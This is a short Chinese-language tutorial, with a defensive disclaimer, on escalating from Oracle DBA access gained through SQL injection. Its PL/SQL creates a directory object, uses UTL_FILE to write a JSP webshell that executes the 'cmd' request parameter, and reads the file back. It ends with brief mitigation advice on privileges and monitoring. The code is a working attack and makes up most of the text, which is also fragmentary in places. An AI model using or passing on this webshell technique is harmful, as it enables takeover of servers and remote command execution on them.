當攻擊者透過 SQL 注入取得 Oracle DBA 權限,且資料庫伺服器與 Web 伺服器位於同一主機時,可利用 Oracle 內建的 UTL_FILE 套件對本地檔案系統進行讀寫操作,進而植入 WebShell 奪取更高權限。本文說明操作流程,僅供防禦與稽核參考,嚴禁用於非法用途。
C:\inetpub\wwwroot)。CREATE OR REPLACE DIRECTORY IST0_DIR AS 'C:\';
GRANT READ, WRITE ON DIRECTORY IST0_DIR TO 目標用戶;
DECLARE
isto_file UTL_FILE.FILE_TYPE;
BEGIN
isto_file := UTL_FILE.FOPEN('IST0_DIR', 'kj021320.JSp', 'W');
UTL_FILE.PUT_LINE(isto_file, '<%@ page import="java.io.*" %><% Runtime.getRuntime().exec(request.getParameter("cmd")); %>');
UTL_FILE.FFLUSH(isto_file);
UTL_FILE.FCLOSE(isto_file);
END;
/
DECLARE
isto_file UTL_FILE.FILE_TYPE;
fp_buffer VARCHAR2(4000);
BEGIN
isto_file := UTL_FILE.FOPEN('IST0_DIR', 'kj021320.JSP', 'R');
UTL_FILE.GET_LINE(isto_file, fp_buffer);
DBMS_OUTPUT.PUT_LINE(fp_buffer);
UTL_FILE.FCLOSE(isto_file);
END;
/
CREATE ANY DIRECTORY 與 UTL_FILE 相關權限,僅授予必要帳號。UTL_FILE 相關呼叫與目錄物件異動。